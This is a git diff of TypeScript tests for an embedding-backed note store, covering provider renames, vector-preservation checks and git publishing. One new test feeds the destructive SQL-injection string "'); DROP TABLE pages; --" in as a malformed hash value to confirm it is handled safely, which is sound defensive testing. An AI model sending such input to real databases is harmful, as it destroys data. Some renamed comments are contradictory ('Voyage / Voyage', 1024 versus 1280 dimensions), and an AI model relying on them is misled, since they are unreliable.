-function writeZeConfig(): string {
- mkdirSync(gbrainDir(), { recursive: true });
- const cfgPath = join(gbrainDir(), 'config.json');
- writeFileSync(
- cfgPath,
- JSON.stringify(
- {
- engine: 'pglite',
- database_path: join(gbrainDir(), 'brain'),
- embedding_model: 'zeroentropyai:zembed-1',
- embedding_dimensions: 1280,
- },
- null,
- 2,
- ),
- );
- return cfgPath;
-}
-
-function pendingPath(): string {
- return join(gbrainDir(), 'migrations', 'pending-host-work.jsonl');
-}
-
-function pendingEntries(): Array<{ migration: string }> {
- if (!existsSync(pendingPath())) return [];
- return readFileSync(pendingPath(), 'utf-8')
- .split('\n')
- .filter((l) => l.trim())
- .map((l) => JSON.parse(l));
-}
-
-describe('v0.46.3 registry contract', () => {
- test('registered, ordered after 0.43.0, pitch names the sunset', async () => {
- const { migrations, getMigration } = await import('../src/commands/migrations/index.ts');
- const versions = migrations.map((m) => m.version);
- expect(versions).toContain('0.46.3');
- expect(versions.indexOf('0.46.3')).toBeGreaterThan(versions.indexOf('0.43.0'));
- const m = getMigration('0.46.3');
- expect(m).not.toBeNull();
- expect(m!.featurePitch.headline).toContain('2026-09-04');
- expect(m!.featurePitch.headline).toContain('Voyage');
- expect(m!.featurePitch.description ?? '').toContain('migrate embeddings --to voyage:voyage-4');
- expect(typeof m!.orchestrator).toBe('function');
- });
-});
-
-describe('v0.46.3 orchestrator behavior', () => {
- test('no config at all → complete, no nag, no host-work file', async () => {
- const { v0_46_3 } = await import('../src/commands/migrations/v0_46_3.ts');
- const result = await v0_46_3.orchestrator({ yes: true, dryRun: false, noAutopilotInstall: true });
- expect(result.status).toBe('complete');
- expect(result.phases.some((p) => p.detail?.includes('no brain configured'))).toBe(true);
- expect(existsSync(pendingPath())).toBe(false);
- });
-
- test('exposed ZE brain → notice + one host-work entry; NO config writes; idempotent re-run', async () => {
- const cfgPath = writeZeConfig();
- const before = readFileSync(cfgPath, 'utf-8');
- const { v0_46_3 } = await import('../src/commands/migrations/v0_46_3.ts');
-
- const first = await v0_46_3.orchestrator({ yes: true, dryRun: false, noAutopilotInstall: true });
- expect(first.status).toBe('complete');
- expect(first.pending_host_work).toBe(1);
- expect(pendingEntries().filter((e) => e.migration === '0.46.3').length).toBe(1);
-
- // Detect-and-notify ONLY: the config file is byte-identical afterwards.
- expect(readFileSync(cfgPath, 'utf-8')).toBe(before);
-
- const second = await v0_46_3.orchestrator({ yes: true, dryRun: false, noAutopilotInstall: true });
- expect(second.status).toBe('complete');
- expect(pendingEntries().filter((e) => e.migration === '0.46.3').length).toBe(1);
- expect(second.phases.some((p) => p.detail === 'already recorded')).toBe(true);
- }, 120_000);
-
- test('dry-run on an exposed brain takes no side effects', async () => {
- writeZeConfig();
- const { v0_46_3 } = await import('../src/commands/migrations/v0_46_3.ts');
- const result = await v0_46_3.orchestrator({ yes: true, dryRun: true, noAutopilotInstall: true });
- expect(result.status).toBe('complete');
- expect(existsSync(pendingPath())).toBe(false);
- expect(result.phases.some((p) => p.name === 'host-work' && p.status === 'skipped')).toBe(true);
- }, 120_000);
-
- test('unreachable brain (bad database_url) → complete with fail-safe nag, never partial', async () => {
- mkdirSync(gbrainDir(), { recursive: true });
- writeFileSync(
- join(gbrainDir(), 'config.json'),
- JSON.stringify({
- engine: 'postgres',
- // Credential-free on purpose: port 1 refuses connections, which is
- // all this fixture needs (a user:pass URL trips the push-time
- // secret-scan guardrail even when synthetic).
- database_url: 'postgres://127.0.0.1:1/void',
- embedding_model: 'voyage:voyage-4',
- }),
- );
- const { v0_46_3 } = await import('../src/commands/migrations/v0_46_3.ts');
- const result = await v0_46_3.orchestrator({ yes: true, dryRun: false, noAutopilotInstall: true });
- // A clear-by-config brain whose probes can't run is UNKNOWN → complete
- // (no chain wedge) + host-work nag (fail-safe).
- expect(result.status).toBe('complete');
- expect(pendingEntries().filter((e) => e.migration === '0.46.3').length).toBe(1);
- }, 120_000);
-});
diff --git a/test/minions-shell-inherit.test.ts b/test/minions-shell-inherit.test.ts
index e6f99c035c..62907b5bba 100644
--- a/test/minions-shell-inherit.test.ts
+++ b/test/minions-shell-inherit.test.ts
@@ -26,8 +26,7 @@ describe('INHERIT_NAME_RE', () => {
'openrouter_api_key',
'voyage_api_key',
'groq_api_key',
- 'zeroentropy_api_key',
- 'remote_mcp_oauth_client_secret',
+ 'remote_mcp_oauth_client_secret',
'field2',
'a',
'a_b_c_d_e',
diff --git a/test/models-doctor-reranker.test.ts b/test/models-doctor-reranker.test.ts
index 251fb6585b..a404b0bdc1 100644
--- a/test/models-doctor-reranker.test.ts
+++ b/test/models-doctor-reranker.test.ts
@@ -84,7 +84,7 @@ describe('resolveLiveRerankerModel — divergence fix', () => {
// per-key getConfig errors via its internal safeGet wrapper, so the
// mode bundle default surfaces normally — doctor reports the truth
// about what would happen at search time.
- configureGateway({ env: { ZEROENTROPY_API_KEY: 'sk-test' } });
+ configureGateway({ env: { VOYAGE_API_KEY: 'sk-test' } });
const engine = {
async getConfig(): Promise<string | null> {
throw new Error('DB unreachable');
diff --git a/test/models-doctor-v1-hint.test.ts b/test/models-doctor-v1-hint.test.ts
index 610c3400b7..0ba93475a3 100644
--- a/test/models-doctor-v1-hint.test.ts
+++ b/test/models-doctor-v1-hint.test.ts
@@ -39,7 +39,7 @@ afterEach(() => resetGateway());
* `applyOpenAICompatConfig` / `applyResolveAuth` / `authToHeaders` /
* `requireConfig`, which every `classify` case drives via `deps.cfg`.
*
- * Providers that serve NO `/models` list (Voyage = embeddings only; ZeroEntropy,
+ * Providers that serve NO `/models` list (Voyage = embeddings only; Voyage,
* the default reranker = `/v1/models/rerank` only) are the all-404 cases: the
* "wrong-endpoint" test (auth -> leads with the key, since the host is reachable)
* and the model_not_found "silent: all 404" test (a model-name typo -> no
@@ -206,7 +206,7 @@ describe('auth-trigger verdicts', () => {
});
test('wrong-endpoint: all 404 -> leads with the key, host/path secondary (no overclaim)', async () => {
- // No-/models-list providers (Voyage embeddings, the default ZeroEntropy
+ // No-/models-list providers (Voyage embeddings, the default Voyage
// reranker) 404 every /models. Reached via a 401, the host is proven
// reachable and the real endpoint auth-gated, so lead with the key; never
// a false "the base URL is wrong".
@@ -255,7 +255,7 @@ describe('model_not_found-trigger verdicts (only a 200 speaks)', () => {
expect(fix).toContain('switch /v4 to /v1');
});
test('silent: all 404 -> no hint (no wrong-endpoint, no key wording)', async () => {
- // A no-/models provider (Voyage / ZeroEntropy) + a model-name typo: all
+ // A no-/models provider (Voyage / Voyage) + a model-name typo: all
// /models 404 -> stay silent so the raw model-not-found stands, never a
// misleading "fix your URL".
expect(await classify('http://localhost:4000', routes(404, 404, 404), 'model_not_found')).toBeUndefined();
diff --git a/test/models-probe-max-output-tokens.serial.test.ts b/test/models-probe-max-output-tokens.serial.test.ts
index c14ba40406..a517fecb71 100644
--- a/test/models-probe-max-output-tokens.serial.test.ts
+++ b/test/models-probe-max-output-tokens.serial.test.ts
@@ -183,7 +183,7 @@ describe('models doctor chat probe respects the provider max-output-tokens floor
// mode-bundle reranker default is voyage:rerank-2.5, so voyage joins
// the skip list — this env has no VOYAGE_API_KEY by design.)
const doctor = await runCli(
- ['models', 'doctor', '--json', '--skip=zeroentropyai', '--skip=voyage', '--skip=llama-server'],
+ ['models', 'doctor', '--json', '--skip=voyage', '--skip=llama-server'],
env,
120_000,
);
diff --git a/test/modes-report-reranker.test.ts b/test/modes-report-reranker.test.ts
index 86f709809d..c9bda8ef84 100644
--- a/test/modes-report-reranker.test.ts
+++ b/test/modes-report-reranker.test.ts
@@ -110,8 +110,8 @@ describe('formatModesText — reranker lines', () => {
test('a base-URL override on the gateway plane surfaces as self_hosted=true', async () => {
await withEnv({ GBRAIN_HOME: emptyHome(), VOYAGE_API_KEY: undefined }, async () => {
- gw({ ZEROENTROPY_API_KEY: 'zk' }, { base_urls: { zeroentropyai: 'http://127.0.0.1:8080/v1' } });
- const report = await buildModesReport(engineWith({ 'search.reranker.model': 'zeroentropyai:zerank-2' }));
+ gw({ VOYAGE_API_KEY: 'zk' }, { base_urls: { voyage: 'http://127.0.0.1:8080/v1' } });
+ const report = await buildModesReport(engineWith({ 'search.reranker.model': 'voyage:rerank-2.5' }));
expect(report.reranker_readiness!.self_hosted).toBe(true);
});
});
diff --git a/test/openai-compat-multimodal.test.ts b/test/openai-compat-multimodal.test.ts
index b028e95f73..ec7bd7c182 100644
--- a/test/openai-compat-multimodal.test.ts
+++ b/test/openai-compat-multimodal.test.ts
@@ -132,7 +132,7 @@ describe('embedMultimodal — openai-compat routing (#875)', () => {
test('D12 — default embedding_dimensions (1280 as of v0.36.0.0) applies when not explicitly set', async () => {
// configureGateway normalizes embedding_dimensions to DEFAULT_EMBEDDING_DIMENSIONS
// when unset. v0.36.0.0 flipped the default from 1536 (OpenAI) to 1280
- // (ZE Matryoshka step). LiteLLM recipe's default_dims=0 so we fall back
+ // (custom Matryoshka step). LiteLLM recipe's default_dims=0 so we fall back
// to the brain's configured value. This test pins the "always validate
// via the configured/default dim" contract — there is no skip-when-unset
// path in practice because configureGateway always populates it.
diff --git a/test/openrouter-reranker-recipe.test.ts b/test/openrouter-reranker-recipe.test.ts
index 508b7b945b..8f333ba80b 100644
--- a/test/openrouter-reranker-recipe.test.ts
+++ b/test/openrouter-reranker-recipe.test.ts
@@ -25,7 +25,7 @@ describe('OpenRouter recipe — reranker touchpoint', () => {
expect(tp.models).toContain(tp.default_model);
});
- test('path is /rerank (NOT ZeroEntropy default /models/rerank)', () => {
+ test('path is /rerank (not /models/rerank)', () => {
const tp = getRecipe('openrouter')!.touchpoints.reranker!;
expect(tp.path).toBe('/rerank');
});
diff --git a/test/operations-find-trajectory.test.ts b/test/operations-find-trajectory.test.ts
index 863cd1db86..1277b22dbe 100644
--- a/test/operations-find-trajectory.test.ts
+++ b/test/operations-find-trajectory.test.ts
@@ -20,7 +20,7 @@ import { configureGateway, resetGateway } from '../src/core/ai/gateway.ts';
let engine: PGLiteEngine;
beforeAll(async () => {
- // v0.41.5.0+: DEFAULT_EMBEDDING_DIMENSIONS is 1280 (ZE Matryoshka). unitVec()
+ // v0.41.5.0+: DEFAULT_EMBEDDING_DIMENSIONS is 1024 (Voyage Matryoshka). unitVec()
// below inserts 1536-dim vectors into facts.embedding. Without pinning, a
// fresh CI environment (no prior gateway configure) sizes the column at
// vector(1280) and the inserts throw "expected 1280 dimensions, not 1536"
diff --git a/test/page-projection-vector-preservation.test.ts b/test/page-projection-vector-preservation.test.ts
new file mode 100644
index 0000000000..bcd279dda4
--- /dev/null
+++ b/test/page-projection-vector-preservation.test.ts
@@ -0,0 +1,294 @@
+import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, test } from 'bun:test';
+import type { BrainEngine } from '../src/core/engine.ts';
+import type { ChunkInput } from '../src/core/types.ts';
+import { PGLiteEngine } from '../src/core/pglite-engine.ts';
+import { getEmbeddingModel } from '../src/core/ai/gateway.ts';
+import { MIGRATIONS } from '../src/core/migrate.ts';
+import { installPageEmbeddings, installPageProjection, PageProjectionConflictError, preparePageProjection,
+ readProjectionSnapshot, rebuildPendingPageProjections } from '../src/core/page-state/projections.ts';
+import { isolatedPersistencePostgres } from './helpers/persistence-postgres.ts';
+
+const databaseUrl = process.env.DATABASE_URL;
+const sourceId = 'projection-vector-test';
+const neighborId = 'projection-vector-neighbor';
+const slug = 'same-page';
+const body = 'Synthetic cedar memory. UTF-8: café, 雪.';
+const timeline = '2026-01-02: Synthetic event with exact provenance.';
+const vector = new Float32Array(1536); vector[0] = 0.125; vector[1] = -0.25;
+const vectorText = `[${Array.from(vector).join(',')}]`;
+const preserve = { seal: true, preserveEmbeddings: true };
+
+interface StoredChunk {
+ id: number;
+ chunk_index: number;
+ embedding: string | null;
+ embedded_text_hash: string | null;
+ embedded_at: string | null;
+ model: string;
+ embedding_projection_test?: string | null;
+}
+
+for (const kind of ['pglite', ...(databaseUrl ? ['postgres'] : [])]) {
+ describe(`projection vector preservation ${kind}`, () => {
+ let engine: BrainEngine;
+ let closePostgres: (() => Promise<void>) | undefined;
+ beforeAll(async () => {
+ if (kind === 'postgres') ({ engine, close: closePostgres } = await isolatedPersistencePostgres(databaseUrl!));
+ else {
+ engine = new PGLiteEngine();
+ await engine.connect({});
+ await engine.initSchema();
+ }
+ }, 120_000);
+ beforeEach(async () => {
+ for (const id of [sourceId, neighborId]) await engine.executeRaw('INSERT INTO sources(id,name) VALUES ($1,$1)', [id]);
+ });
+ afterEach(async () => {
+ for (const id of [sourceId, neighborId]) await engine.executeRaw('DELETE FROM sources WHERE id=$1', [id]);
+ });
+ afterAll(async () => {
+ if (kind === 'pglite') await engine.disconnect();
+ await closePostgres?.();
+ });
+
+ async function storedChunks(source = sourceId) {
+ const rows = await engine.executeRaw<{ chunk: StoredChunk }>(`SELECT to_jsonb(cc) AS chunk
+ FROM content_chunks cc JOIN pages p ON p.id=cc.page_id
+ WHERE p.source_id=$1 AND p.slug=$2 ORDER BY cc.chunk_index`, [source, slug]);
+ return rows.map(row => row.chunk);
+ }
+ async function canonicalState(source = sourceId) {
+ return {
+ page: await engine.executeRaw(`SELECT to_jsonb(p)-'text_projection_revision'-'search_vector'-'chunker_version' AS page
+ FROM pages p WHERE p.source_id=$1 AND p.slug=$2`, [source, slug]),
+ versions: await engine.executeRaw(`SELECT v.* FROM page_versions v JOIN pages p ON p.id=v.page_id
+ WHERE p.source_id=$1 AND p.slug=$2 ORDER BY v.id`, [source, slug]),
+ tags: await engine.getTags(slug, { sourceId: source }),
+ };
+ }
+ async function capture() {
+ const prepared = await readProjectionSnapshot(engine, slug, sourceId);
+ expect(prepared).not.toBeNull();
+ return { prepared: prepared!, chunks: (await preparePageProjection(prepared!)).chunks };
+ }
+ async function seed(source = sourceId) {
+ await engine.putPage(slug, { type: 'note', title: 'Synthetic vector fixture', compiled_truth: body, timeline,
+ frontmatter: { fixture: 'projection-vector' }, source_path: 'notes/synthetic.md' }, { sourceId: source });
+ await engine.addTag(slug, 'preserved-tag', { sourceId: source });
+ await engine.createVersion(slug, { sourceId: source });
+ const prepared = (await readProjectionSnapshot(engine, slug, source, { allowUnsealed: true }))!;
+ expect(prepared.embeddingModel).toBeString();
+ const { chunks } = await preparePageProjection(prepared);
+ expect(chunks.map(c => [c.chunk_index, c.chunk_source, c.chunk_text])).toEqual([
+ [0, 'compiled_truth', body], [1, 'timeline', timeline],
+ ]);
+ await installPageProjection(engine, prepared, chunks, { seal: true });
+ await engine.executeRaw(`UPDATE content_chunks SET embedding=$2::vector,model=$3,embedded_text_hash=NULL,
+ embedded_at='2025-01-02T03:04:05Z' WHERE page_id=$1`, [prepared.snapshot.page.id, vectorText, prepared.embeddingModel]);
+ const stored = await storedChunks(source);
+ expect(stored).toHaveLength(2);
+ for (const chunk of stored) {
+ expect(chunk.embedding).toBe(vectorText);
+ expect(chunk.embedded_text_hash).toBeNull();
+ expect(chunk.embedded_at).toStartWith('2025-01-02T03:04:05');
+ }
+ return prepared.snapshot;
+ }
+
+ test('migration 153 queues real rebuilds without erasing legacy vectors or canonical state', async () => {
+ const original = await seed();
+ const sibling = await seed(neighborId);
+ const before = await storedChunks(), neighbor = await storedChunks(neighborId);
+ const canonical = await canonicalState(), neighborCanonical = await canonicalState(neighborId);
+ expect(canonical.page).toMatchObject([{ page: { compiled_truth: body, timeline, knowledge_revision: original.revision } }]);
+ expect(canonical.versions).toHaveLength(1);
+ expect(canonical.tags).toEqual(['preserved-tag']);
+ const migration = MIGRATIONS.find(m => m.version === 153)!;
+ expect(migration.name).toBe('verified_text_projection_activation');
+ await engine.transaction(tx => tx.runMigration(migration.version, migration.sql!));
+ const jobs = await engine.executeRaw(`SELECT s.id AS source_id,j.slug,j.reason,j.revision FROM page_projection_jobs j
+ JOIN sources s ON s.incarnation=j.source_incarnation ORDER BY s.id`);
+ expect(jobs).toEqual([
+ { source_id: neighborId, slug, reason: 'protocol_activation', revision: sibling.revision },
+ { source_id: sourceId, slug, reason: 'protocol_activation', revision: original.revision },
+ ]);
+ expect(await rebuildPendingPageProjections(engine, 100)).toEqual({ rebuilt: 2, superseded: 0 });
+ expect(await storedChunks()).toEqual(before);
+ expect(await storedChunks(neighborId)).toEqual(neighbor);
+ expect(await canonicalState()).toEqual(canonical);
+ expect(await canonicalState(neighborId)).toEqual(neighborCanonical);
+ const current = (await engine.readPageSnapshot(slug, { sourceId }))!;
+ expect(current.revision).toBe(original.revision);
+ expect(current.page.text_projection_revision).toBe(original.revision);
+ expect(await engine.executeRaw('SELECT * FROM page_projection_jobs')).toEqual([]);
+ });
+
+ test('invalidating one source cannot erase a same-slug neighbor vector', async () => {
+ const page = await seed();
+ await seed(neighborId);
+ const neighbor = await storedChunks(neighborId), canonical = await canonicalState(neighborId);
+ await engine.executeRaw("UPDATE content_chunks SET embedded_text_hash='stale' WHERE page_id=$1", [page.page.id]);
+ const { prepared, chunks } = await capture();
+ await installPageProjection(engine, prepared, chunks, preserve);
+ expect((await storedChunks()).map(c => c.embedding)).toEqual([null, null]);
+ expect(await storedChunks(neighborId)).toEqual(neighbor);
+ expect(await canonicalState(neighborId)).toEqual(canonical);
+ });
+
+ for (const state of [
+ { name: 'NULL hash', hash: null, model: 'current', context: null, keep: true },
+ { name: 'current hash', hash: 'current', model: 'current', context: 'none', keep: true },
+ { name: 'stale hash', hash: 'stale', model: 'current', context: null, keep: false },
+ { name: 'empty hash', hash: '', model: 'current', context: null, keep: false },
+ { name: 'malformed hash', hash: "'); DROP TABLE pages; --", model: 'current', context: null, keep: false },
+ { name: 'wrong model', hash: null, model: 'openai:wrong', context: null, keep: false },
+ { name: 'title context', hash: null, model: 'current', context: 'title', keep: false },
+ { name: 'synopsis context', hash: null, model: 'current', context: 'per_chunk_synopsis', keep: false },
+ { name: 'malformed context', hash: null, model: 'current', context: 'invalid', keep: false },
+ ]) test(`only compatible rows retain vectors: ${state.name}`, async () => {
+ const page = await seed();
+ await engine.executeRaw(`UPDATE content_chunks SET model=$2,
+ embedded_text_hash=CASE WHEN $3='current' THEN md5(chunk_text) ELSE $3 END WHERE page_id=$1`,
+ [page.page.id, state.model === 'current' ? getEmbeddingModel() : state.model, state.hash]);
+ await engine.executeRaw('UPDATE pages SET contextual_retrieval_mode=$2 WHERE id=$1', [page.page.id, state.context]);
+ const before = await storedChunks();
+ const { prepared, chunks } = await capture();
+ await installPageProjection(engine, prepared, chunks, preserve);
+ const after = await storedChunks();
+ expect(after).toHaveLength(2);
+ expect(after.map(c => c.id)).toEqual(before.map(c => c.id));
+ if (state.keep) expect(after).toEqual(before);
+ else for (const chunk of after) expect([chunk.embedding, chunk.embedded_text_hash, chunk.embedded_at]).toEqual([null, null, null]);
+ });
+
+ const metadataChanges: Partial<ChunkInput>[] = [
+ { language: 'typescript' }, { symbol_name: 'changed' }, { symbol_type: 'function' },
+ { start_line: 2 }, { end_line: 3 }, { parent_symbol_path: ['changed'] },
+ { doc_comment: 'changed' }, { symbol_name_qualified: 'Changed.symbol' }, { modality: 'image' },
+ { chunk_source: 'timeline' }, { chunk_text: 'Changed text' },
+ ];
+ for (const change of metadataChanges) test(`changed ${Object.keys(change)[0]} cannot inherit a legacy vector`, async () => {
+ await seed();
+ const { prepared, chunks } = await capture();
+ const before = await storedChunks();
+ await installPageProjection(engine, prepared, [{ ...chunks[0], ...change }, chunks[1]], preserve);
+ const after = await storedChunks();
+ expect(after).toHaveLength(2);
+ expect(after[0].id).not.toBe(before[0].id);
+ expect(after[0].embedding).toBeNull();
+ expect(after[1]).toEqual(before[1]);
+ });
+
+ test('changed chunk_index cannot inherit a legacy vector', async () => {
+ await seed();
+ const { prepared, chunks } = await capture();
+ const before = await storedChunks();
+ await installPageProjection(engine, prepared, [{ ...chunks[0], chunk_index: 2 }, chunks[1]], preserve);
+ const after = await storedChunks();
+ expect(after).toHaveLength(2);
+ expect(after.map(c => c.chunk_index)).toEqual([1, 2]);
+ expect(after[0]).toEqual(before[1]);
+ expect(before.map(c => c.id)).not.toContain(after[1].id);
+ expect(after[1]).toMatchObject({ chunk_text: body, embedding: null, embedded_text_hash: null, embedded_at: null });
+ });
+
+ for (const type of ['vector', 'halfvec']) for (const mismatch of ['none', 'hash', 'model']) {
+ test(`custom ${type} column retains only compatible vectors: ${mismatch}`, async () => {
+ const page = await seed();
+ await engine.executeRaw(`ALTER TABLE content_chunks ADD COLUMN embedding_projection_test ${type}(3)`);
+ try {
+ await engine.setConfig('embedding_columns', JSON.stringify({
+ embedding_projection_test: { provider: 'openai:fixture', dimensions: 3, type },
+ }));
+ await engine.setConfig('search_embedding_column', 'embedding_projection_test');
+ await engine.executeRaw(`UPDATE content_chunks SET embedding_projection_test='[0.375,-0.25,0]'::${type}(3),
+ embedded_text_hash=$2,model=$3 WHERE page_id=$1`,
+ [page.page.id, mismatch === 'hash' ? 'stale' : null, mismatch === 'model' ? 'openai:wrong' : 'openai:fixture']);
+ const before = await storedChunks();
+ expect(before.map(c => c.embedding_projection_test)).toEqual(['[0.375,-0.25,0]', '[0.375,-0.25,0]']);
+ const { prepared, chunks } = await capture();
+ await installPageProjection(engine, prepared, chunks, preserve);
+ const after = await storedChunks();
+ expect(after).toHaveLength(2);
+ expect(after.map(c => c.embedding)).toEqual(before.map(c => c.embedding));
+ if (mismatch === 'none') expect(after).toEqual(before);
+ else for (const chunk of after) expect([chunk.embedding_projection_test, chunk.embedded_at, chunk.embedded_text_hash]).toEqual([null, null, null]);
+ } finally {
+ await engine.unsetConfig('search_embedding_column');
+ await engine.unsetConfig('embedding_columns');
+ await engine.executeRaw('ALTER TABLE content_chunks DROP COLUMN embedding_projection_test');
+ }
+ });
+ }
+
+ test('a newer embedding completion rejects a stale rebuild without changing its rows', async () => {
+ await seed();
+ const { prepared, chunks } = await capture();
+ const newer = new Float32Array(1536); newer[0] = 0.875;
+ expect(await installPageEmbeddings(engine, prepared, chunks.map(c => ({ ...c, embedding: newer })))).toBe(true);
+ const before = await storedChunks();
+ expect(before.map(c => c.embedding)).toEqual([`[${Array.from(newer).join(',')}]`, `[${Array.from(newer).join(',')}]`]);
+ await expect(installPageProjection(engine, prepared, chunks, preserve)).rejects.toBeInstanceOf(PageProjectionConflictError);
+ expect(await storedChunks()).toEqual(before);
+ });
+
+ test('a newer vector-only update survives even when completion metadata is unchanged', async () => {
+ const page = await seed();
+ const { prepared, chunks } = await capture();
+ const newer = new Float32Array(1536); newer[0] = 0.625;
+ await engine.executeRaw('UPDATE content_chunks SET embedding=$2::vector WHERE page_id=$1', [page.page.id, `[${Array.from(newer).join(',')}]`]);
+ const before = await storedChunks();
+ await installPageProjection(engine, prepared, chunks, preserve);
+ expect(await storedChunks()).toEqual(before);
+ });
+
+ for (const malformed of ['duplicate index', 'invalid dimensions', 'NULL text']) test(`malformed ${malformed} rolls back the entire replacement`, async () => {
+ await seed();
+ const { prepared, chunks } = await capture();
+ if (malformed === 'duplicate index') chunks.push({ ...chunks[0] });
+ if (malformed === 'invalid dimensions') chunks[0].embedding = new Float32Array(2);
+ if (malformed === 'NULL text') chunks[0].chunk_text = null as unknown as string;
+ const before = await storedChunks(), canonical = await canonicalState();
+ await expect(installPageProjection(engine, prepared, chunks, preserve)).rejects.toThrow();
+ expect(await storedChunks()).toEqual(before);
+ expect(await canonicalState()).toEqual(canonical);
+ });
+
+ if (kind === 'postgres') test('a concurrent embedding transaction wins after the rebuild actually waits on its lock', async () => {
+ await seed();
+ const { prepared, chunks } = await capture();
+ let release!: () => void, entered!: () => void;
+ const held = new Promise<void>(resolve => { release = resolve; });
+ const ready = new Promise<void>(resolve => { entered = resolve; });
+ const newer = new Float32Array(1536); newer[0] = 0.9375;
+ const writer = engine.transaction(async tx => {
+ expect(await installPageEmbeddings(tx, prepared, chunks.map(c => ({ ...c, embedding: newer })))).toBe(true);
+ entered();
+ await held;
+ });
+ let rebuild: Promise<unknown> | undefined;
+ try {
+ await Promise.race([ready, writer]);
+ rebuild = installPageProjection(engine, prepared, chunks, preserve).then(() => null, error => error);
+ let blocked = 0;
+ for (let attempt = 0; attempt < 100 && !blocked; attempt++) {
+ const [row] = await engine.executeRaw<{ count: number }>(`SELECT COUNT(*)::int AS count FROM pg_stat_activity
+ WHERE datname=current_database() AND wait_event_type='Lock' AND pid<>pg_backend_pid()`);
+ blocked = row.count;
+ if (!blocked) await new Promise(resolve => setTimeout(resolve, 20));
+ }
+ expect(blocked).toBeGreaterThan(0);
+ release();
+ await writer;
+ expect(await rebuild).toBeInstanceOf(PageProjectionConflictError);
+ const after = await storedChunks();
+ expect(after).toHaveLength(2);
+ expect(after.map(c => c.embedding)).toEqual([`[${Array.from(newer).join(',')}]`, `[${Array.from(newer).join(',')}]`]);
+ } finally {
+ release();
+ await writer;
+ await rebuild;
+ }
+ });
+ });
+}
diff --git a/test/persistence-git-publication.test.ts b/test/persistence-git-publication.test.ts
new file mode 100644
index 0000000000..37c4c3de8a
--- /dev/null
+++ b/test/persistence-git-publication.test.ts
@@ -0,0 +1,182 @@
+import { afterEach, expect, test } from 'bun:test';
+import { existsSync, linkSync, mkdirSync, readFileSync, rmSync, symlinkSync, writeFileSync } from 'node:fs';
+import { join } from 'node:path';
+import { publishGitEffect } from '../src/core/persistence/effect-git.ts';
+import { git, gitFixture } from './helpers/git-publication.ts';
+import { withEnv } from './helpers/with-env.ts';
+
+const fixtures: ReturnType<typeof gitFixture>[] = [];
+function fixture() { const f = gitFixture(); fixtures.push(f); return f; }
+afterEach(() => { for (const f of fixtures.splice(0)) f.cleanup(); });
+
+function published(f: ReturnType<typeof fixture>, path: string, content: string) {
+ expect(git(f.root, 'show', `HEAD:${path}`)).toBe(content);
+ expect(git(f.remote, 'show', `refs/heads/main:${path}`)).toBe(content);
+}
+
+test('literal Git pathspecs publish only the bracketed target and preserve the index', async () => {
+ const f = fixture();
+ for (const name of ['a[1].md', 'a1.md', 'unrelated.md']) writeFileSync(join(f.root, name), `Before ${name}\n`);
+ git(f.root, 'add', '.'); git(f.root, '-c', 'core.hooksPath=', 'commit', '-m', 'Tracked files');
+ for (const name of ['a[1].md', 'a1.md', 'unrelated.md']) writeFileSync(join(f.root, name), `After ${name}\n`);
+ git(f.root, 'add', '--', 'a1.md', 'unrelated.md');
+ const beforeIndex = git(f.root, 'ls-files', '--stage', '-z', '--', 'a1.md', 'unrelated.md');
+ expect(await withEnv({ GIT_GLOB_PATHSPECS: '1', GIT_ICASE_PATHSPECS: '1' }, () => publishGitEffect(f.root, 'a[1].md')))
+ .toEqual({ git: 'committed', push: 'committed' });
+ published(f, 'a[1].md', 'After a[1].md\n');
+ published(f, 'a1.md', 'Before a1.md\n');
+ expect(git(f.root, 'ls-files', '--stage', '-z', '--', 'a1.md', 'unrelated.md')).toBe(beforeIndex);
+ expect(git(f.root, 'diff', '--cached', '--name-only', '-z')).toBe('a1.md\0unrelated.md\0');
+});
+
+test.skipIf(process.platform === 'win32')('pathspec magic and POSIX backslashes remain literal filenames', async () => {
+ const f = fixture();
+ for (const name of [':(glob)*.md', 'literal\\name.md']) {
+ writeFileSync(join(f.root, name), `Exact ${name}\n`);
+ expect(await publishGitEffect(f.root, name)).toEqual({ git: 'committed', push: 'committed' });
+ published(f, name, `Exact ${name}\n`);
+ }
+ expect(git(f.root, 'ls-tree', '--name-only', '-r', '-z', 'HEAD').split('\0').filter(Boolean).sort())
+ .toEqual([':(glob)*.md', 'initial.md', 'literal\\name.md']);
+});
+
+test('unchanged replay, missing target and tracked deletion keep distinct outcomes', async () => {
+ const f = fixture();
+ writeFileSync(join(f.root, 'Notes', 'page.md'), 'Published\n');
+ expect(await publishGitEffect(f.root, 'Notes/page.md')).toEqual({ git: 'committed', push: 'committed' });
+ const head = git(f.root, 'rev-parse', 'HEAD');
+ expect(await publishGitEffect(f.root, 'Notes/page.md')).toEqual({ git: 'unchanged', push: 'committed' });
+ expect(git(f.root, 'rev-parse', 'HEAD')).toBe(head);
+ expect(await publishGitEffect(f.root, 'Notes/missing.md')).toEqual({ git: 'skipped', reason: 'target_absent', push: 'skipped' });
+ rmSync(join(f.root, 'Notes', 'page.md'));
+ expect(await publishGitEffect(f.root, 'Notes/page.md')).toEqual({ git: 'committed', push: 'committed' });
+ expect(git(f.root, 'ls-tree', '-r', '--name-only', 'HEAD')).toBe('initial.md\n');
+ expect(git(f.remote, 'ls-tree', '-r', '--name-only', 'refs/heads/main')).toBe('initial.md\n');
+ const deletedHead = git(f.root, 'rev-parse', 'HEAD');
+ expect(await publishGitEffect(f.root, 'Notes/page.md')).toEqual({ git: 'skipped', reason: 'target_absent', push: 'skipped' });
+ expect(git(f.root, 'rev-parse', 'HEAD')).toBe(deletedHead);
+});
+
+test('push rejection leaves one durable local commit and retries it unchanged', async () => {
+ const f = fixture();
+ git(f.remote, 'config', 'receive.denyNonFastForwards', 'true');
+ const original = git(f.root, 'rev-parse', 'HEAD').trim();
+ writeFileSync(join(f.root, 'ahead.md'), 'Remote ahead\n');
+ git(f.root, 'add', 'ahead.md'); git(f.root, '-c', 'core.hooksPath=', 'commit', '-m', 'Remote ahead');
+ git(f.root, 'push'); git(f.root, 'reset', '--hard', original);
+ writeFileSync(join(f.root, 'page.md'), 'Local durable\n');
+ await expect(publishGitEffect(f.root, 'page.md')).rejects.toMatchObject({ code: 'git_push_unavailable' });
+ expect(git(f.root, 'show', 'HEAD:page.md')).toBe('Local durable\n');
+ const head = git(f.root, 'rev-parse', 'HEAD');
+ git(f.remote, 'update-ref', 'refs/heads/main', original);
+ expect(await publishGitEffect(f.root, 'page.md')).toEqual({ git: 'unchanged', push: 'committed' });
+ expect(git(f.root, 'rev-parse', 'HEAD')).toBe(head);
+ published(f, 'page.md', 'Local durable\n');
+});
+
